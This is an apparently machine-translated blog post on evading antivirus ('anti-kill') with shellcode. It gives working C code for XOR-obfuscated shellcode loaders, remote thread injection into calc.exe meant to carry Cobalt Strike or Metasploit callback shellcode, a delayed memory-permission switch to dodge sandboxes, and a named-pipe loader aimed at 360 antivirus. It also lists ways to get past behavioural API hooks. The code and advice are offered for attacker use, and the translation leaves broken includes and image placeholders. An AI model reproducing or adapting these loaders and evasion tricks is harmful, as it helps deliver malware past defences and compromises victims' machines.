Anti-kill brief 2 (secondary compilation shellcode\remote loading shellcode\shellcode remote thread injection\memory application optimization\pipeline technology)

Second compilation

It can also be understood as shellcode obfuscation, where various encryptions are performed before the shellcode is executed, and then decrypted during execution. Xor is an example. The principle is to first write the encrypted shellcode into the program, and then write the shellcode decryption program in the program, so that after the shellcode is confused, various values ​​such as the signature code will change, which can bypass most static detection and killing , Encryption method is not restricted, it is also possible to write by yourself. Exp: xor encrypted shellcode code:

Source code: https://github.com/shanfenglan/xor_shellcode

#include stdio.h
#define KEY 0x97     //进行异或的字符unsigned char buf[] = "shellcode";
int main(int argc, char* argv[]){
    
      
unsigned char c[sizeof(buf)];   //获取shellcode长度  
for (int i = 0; i < sizeof(buf)-1; i++)  {
    
        
        c[i] = buf[i] ^ KEY;//进行解密
        printf("\\x%x",c[i]);
  }    
  printf("\n");
   return 0;
}

Shellcode loading code:

#include "windows.h"
#include "stdio.h"
#pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")//运行时不显示窗口
#define KEY 0x97
char bufff[] = "shellcode";
void main(){
    
     
	unsigned char buff[sizeof(bufff)];   //获取shellcode长度
	for (int i = 0; i < sizeof(bufff) - 1; i++)
	{
    
    
		buff[i] = bufff[i] ^ KEY;//进行解密
	} 
	LPVOID Memory = VirtualAlloc(NULL, sizeof(buff), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	memcpy(Memory, buff, sizeof(buff));
	((void(*)())Memory)();
} 

Load shellcode remotely (download via tcp request and load into memory)

Insert picture description here
Insert picture description here
360 is non-toxic, because it is a tcp link, it can be detected.
Insert picture description here

The server, which is the storage side of the shellcode, will report the virus, but it doesn’t matter, because the server is on the host of our attacker.

Reference code: Implementation: remotely load shellcode to achieve separation and avoidance


Shellcode remote thread injection

#include Windows.h
#include stdio.h
#include "iostream"
//隐藏运行程序时的cmd窗口
#pragma comment( linker, "/subsystem:windows /entry:mainCRTStartup" )
using namespace std; 
//使用CS或msf生成的C语言格式的上线shellcode
unsigned char shellcode[] = ""; 
BOOL injection(){
    
        
wchar_t Cappname[MAX_PATH] = {
    
     0 };    STARTUPINFO si;    PROCESS_INFORMATION pi;    
LPVOID lpMalwareBaseAddr;   
LPVOID lpnewVictimBaseAddr;    
HANDLE hThread;    
DWORD dwExitCode;    
BOOL bRet = FALSE;     
//把基地址设置为自己shellcode数组的起始地址    
lpMalwareBaseAddr = shellcode;     
//获取系统路径,拼接字符串找到calc.exe的路径    
GetSystemDirectory(Cappname, MAX_PATH);    lstrcat(Cappname, L"\\calc.exe");     
//打印注入提示   
// printf("被注入的程序名:%S\r\n", Cappname);     
ZeroMemory(&amp;si, sizeof(si));    
si.cb = sizeof(si);    
ZeroMemory(&amp;pi, sizeof(pi));     
//创建calc.exe进程   
if (CreateProcess(Cappname, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED 
, NULL, NULL, &amp;si, &amp;pi) == 0)    {
    
           
return bRet;   
} 
lpnewVictimBaseAddr=VirtualAllocEx(pi.hProcess , NULL, sizeof(shellcode) + 1, MEM_COMMIT | MEM_RESERVE,        PAGE_EXECUTE_READWRITE);    
if (lpnewVictimBaseAddr == NULL)    {
    
    
return bRet;   
}    
//远程线程注入过程    
WriteProcessMemory(pi.hProcess,lpnewVictimBaseAddr,(LPVOID)lpMalwareBaseAddr, sizeof(shellcode) + 1, NULL);    
hThread = CreateRemoteThread(pi.hProcess, 0,0, (LPTHREAD_START_ROUTINE)lpnewVictimBaseAddr, NULL, 0, NULL);
WaitForSingleObject(pi.hThread, INFINITE);
GetExitCodeProcess(pi.hProcess,&amp;dwExitCode);    
TerminateProcess(pi.hProcess, 0);    
return bRet;
} 
void help(char* proc){
    
        
// printf("%s:创建进程并将shellcode写入进程内存\r\n", proc);
} 
int main(int argc, char* argv[]){
    
        help(argv[0]);    
injection();
}

Insert picture description here

Although there are still a lot of killings, but you can pass 360

System api used:

1. LoadLibrary() and GetProcAddress() are
two functions, one is to load the dll library, and the other is to take the address of a function from the loaded library handle, which can be understood as adding a dll to the memory, and then Get the address of a function in it, and you can call it directly after you get this address. These two simple functions are often used, whether it is a regular call or static avoidance.

2. OpenProcess()
obtains the handle of the process according to the process id, that is, obtains the control right of the process.

3. VirtualAllocEx()
opens up a piece of memory in the specified process for storing your own code and parameters.

4.
The function in WriteProcessMemory() 3 will open up a memory in a process, and then directly use this function 4 to write data in that memory, that is, open a memory in someone else's and write your own things.

5.
The core function of CreateRemoteThread() , the function stored in a certain memory location of the specified process is a thread function, and a thread is started. Of course, the started thread belongs to the specified process.

Principle of remote thread injection

The principle of thread injection probably means that we obtain permissions from the host, which is the process that needs to be injected, through certain means. After obtaining the permissions, we need to open up a certain amount of memory on this process, and then set up our thread function content and parameters. Copy the past so that there are our functions and our parameters on the target process.
At this time, we only need to "help" it to start this thread and it will be OK, directly use the CreateRemoteThread function in a certain memory location of the other process as a thread function to start.

Reference: Remote Control Avoid Kill Chapter 8 Shellcode Avoid Kill


Resource modification

The effect of modifying resources such as icons is relatively poor. The resource hacker tool is used, which is not recommended.


Packing

Software packing is actually software encryption or software compression, but the method of encryption or compression is different. Packing can bypass almost all signature detection, but the shell also has its own signature, so you need to write it yourself. To bypass the anti-soft principle or to bypass the feature code detection through shelling requires a strong code and reverse capability, so I won't describe it too much here.


Memory application optimization method

Insert picture description here
Although many have been detected, it can still pass 360.

360 was displayed on vt, but 360 was checked and killed just now, I don’t understand. .

#include <Windows.h>

// 入口函数
int wmain(int argc, TCHAR* argv[]) {
    
    

    int shellcode_size = 0; // shellcode长度
    DWORD dwThreadId; // 线程ID
    HANDLE hThread; // 线程句柄
    DWORD dwOldProtect; // 内存页属性
/* length: 800 bytes */

    unsigned char buf[] = "";

    // 获取shellcode大小
    shellcode_size = sizeof(buf);

    /* 增加异或代码 */
    for (int i = 0; i < shellcode_size; i++) {
    
    
        buf[i] ^= 10;
    }
    /*
    VirtualAlloc(
        NULL, // 基址
        800,  // 大小
        MEM_COMMIT, // 内存页状态
        PAGE_EXECUTE_READWRITE // 可读可写可执行
        );
    */

    char* shellcode = (char*)VirtualAlloc(
        NULL,
        shellcode_size,
        MEM_COMMIT,
        PAGE_READWRITE // 只申请可读可写
    );

    // 将shellcode复制到可读可写的内存页中
    CopyMemory(shellcode, buf, shellcode_size);

    // 这里开始更改它的属性为可执行
    VirtualProtect(shellcode, shellcode_size, PAGE_EXECUTE, &dwOldProtect);

    // 等待几秒,兴许可以跳过某些沙盒呢?
    Sleep(2000);

    hThread = CreateThread(
        NULL, // 安全描述符
        NULL, // 栈的大小
        (LPTHREAD_START_ROUTINE)shellcode, // 函数
        NULL, // 参数
        NULL, // 线程标志
        &dwThreadId // 线程ID
    );

    WaitForSingleObject(hThread, INFINITE); // 一直等待线程执行结束
    return 0;
}

The core of this technology is to first apply for normal readable and writable memory, and after a few seconds of stagnation, change the memory status to executable.


Use pipeline technology to avoid killing 360

#include <Windows.h>
#include <stdio.h>
#include <intrin.h>

#define BUFF_SIZE 1024
unsigned char buf[] = "";
LPCTSTR ptsPipeName = TEXT("\\\\.\\pipe\\BadCodeTest");

BOOL RecvShellcode(VOID) {
    
    
    HANDLE hPipeClient;
    DWORD dwWritten;
    DWORD dwShellcodeSize = sizeof(buf);
    // 等待管道可用
    WaitNamedPipe(ptsPipeName, NMPWAIT_WAIT_FOREVER);
    // 连接管道
    hPipeClient = CreateFile(ptsPipeName, GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

    if (hPipeClient == INVALID_HANDLE_VALUE) {
    
    
        printf("[+]Can't Open Pipe , Error : %d \n", GetLastError());
        return FALSE;
    }

    WriteFile(hPipeClient, buf, dwShellcodeSize, &dwWritten, NULL);
    if (dwWritten == dwShellcodeSize) {
    
    
        CloseHandle(hPipeClient);
        printf("[+]Send Success ! Shellcode : %d Bytes\n", dwShellcodeSize);
        return TRUE;
    }
    CloseHandle(hPipeClient);
    return FALSE;
}


int wmain(int argc, TCHAR* argv[]) {
    
    

    HANDLE hPipe;
    DWORD dwError;
    CHAR szBuffer[BUFF_SIZE];
    DWORD dwLen;
    PCHAR pszShellcode = NULL;
    DWORD dwOldProtect; // 内存页属性
    HANDLE hThread;
    DWORD dwThreadId;
    // 参考:https://docs.microsoft.com/zh-cn/windows/win32/api/winbase/nf-winbase-createnamedpipea
    hPipe = CreateNamedPipe(
        ptsPipeName,
        PIPE_ACCESS_INBOUND,
        PIPE_TYPE_BYTE | PIPE_WAIT,
        PIPE_UNLIMITED_INSTANCES,
        BUFF_SIZE,
        BUFF_SIZE,
        0,
        NULL);

    if (hPipe == INVALID_HANDLE_VALUE) {
    
    
        dwError = GetLastError();
        printf("[-]Create Pipe Error : %d \n", dwError);
        return dwError;
    }

    CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)RecvShellcode, NULL, NULL, NULL);

    if (ConnectNamedPipe(hPipe, NULL) > 0) {
    
    
        printf("[+]Client Connected...\n");
        ReadFile(hPipe, szBuffer, BUFF_SIZE, &dwLen, NULL);
        printf("[+]Get DATA Length : %d \n", dwLen);
        // 申请内存页
        pszShellcode = (PCHAR)VirtualAlloc(NULL, dwLen, MEM_COMMIT, PAGE_READWRITE);
        // 拷贝内存
        CopyMemory(pszShellcode, szBuffer, dwLen);

        /*for (DWORD i = 0; i < dwLen; i++) {
            Sleep(50);
            _InterlockedXor8(pszShellcode + i, 10);
        }*/

        // 这里开始更改它的属性为可执行
        VirtualProtect(pszShellcode, dwLen, PAGE_EXECUTE, &dwOldProtect);
        // 执行Shellcode
        hThread = CreateThread(
            NULL, // 安全描述符
            NULL, // 栈的大小
            (LPTHREAD_START_ROUTINE)pszShellcode, // 函数
            NULL, // 参数
            NULL, // 线程标志
            &dwThreadId // 线程ID
        );

        WaitForSingleObject(hThread, INFINITE);
    }

    return 0;
}

Principle: Create a child thread as a named pipe and the other end is the client, used to transmit shellcode, the process itself acts as a server to receive shellcode to allocate memory and run.


Action avoidance (excerpt)

Anti-virus software will now have the main defense function, intercepting and prompting malicious behavior. For example, these behaviors: registry operations, adding startup items, adding service file writing, reading system files, deleting files, moving files to kill processes, creating process injections, hijacking and other behavior interception principles are plain, malicious behaviors are all through API calls The completion may be an API, or a combination of multiple APIs. Antivirus uses technical means to intercept these API calls, and uses strategies to determine whether they are malicious.

Key points:
API
strategy (sequence, call source, parameters, etc.)
so the latter method is to do work for these two points.


How to avoid killing behaviors?

  1. The replacement api
    uses the same function API to replace it. It is impossible for Antivirus to intercept all APIs, so this method is still effective. For example, MoveFileEx replaces MoveFile.
  2. Unexported APIs
    look for unexported APIs with the same function to replace them. Anti-software interception is generally to export APIs or underlying calls. Finding unexported APIs has a certain effect.
    Find a way to accomplish the same function by analyzing the internal calls of the target API and finding one or more internal unexported APIs.
  3. Rewriting the api
    completely rewrites the system API function (through reverse engineering) to realize its own corresponding function API, which is very effective for the behavior interception of ring3. Such as the realization of MoveFile and so on.

  4. The API interception of api+5 ring3 is to hook the first few bytes of the API, and then enter the anti-soft function to check the parameters.
  5. The bottom api
    method is similar to 2 and 3, the anti-soft interception API may be higher (clearer semantics), then you can find a lower-level API to call to bypass the interception, such as using NT functions.
    Or call the driver function through DeviceIoControl to complete the API function.
    Simulate system calls.
  6. Reasonable replacement call sequence
    Sometimes the interception behavior is completed through a combination of multiple APIs, so a reasonable replacement sequence, bypassing the anti-soft interception strategy, can also bypass the behavior modification interception.
    For example, create a service first, and then copy the corresponding file of the service.
  7. Bypass the call source
    to complete the function of the API by calling other functions. More classic, for example, through rundll32.exe to complete dll loading, through COM to operate files and so on.

Reference material:
Summary of those shellcode avoid killing,
remote control avoid killing Chapter 8 shellcode avoid killing,
remote control avoid killing from entry to practice (11) final chapter

Insert picture description here
Those who need tools can search and download directly. I have uploaded them and don’t need points.

Guess you like

Origin blog.csdn.net/qq_41874930/article/details/107888800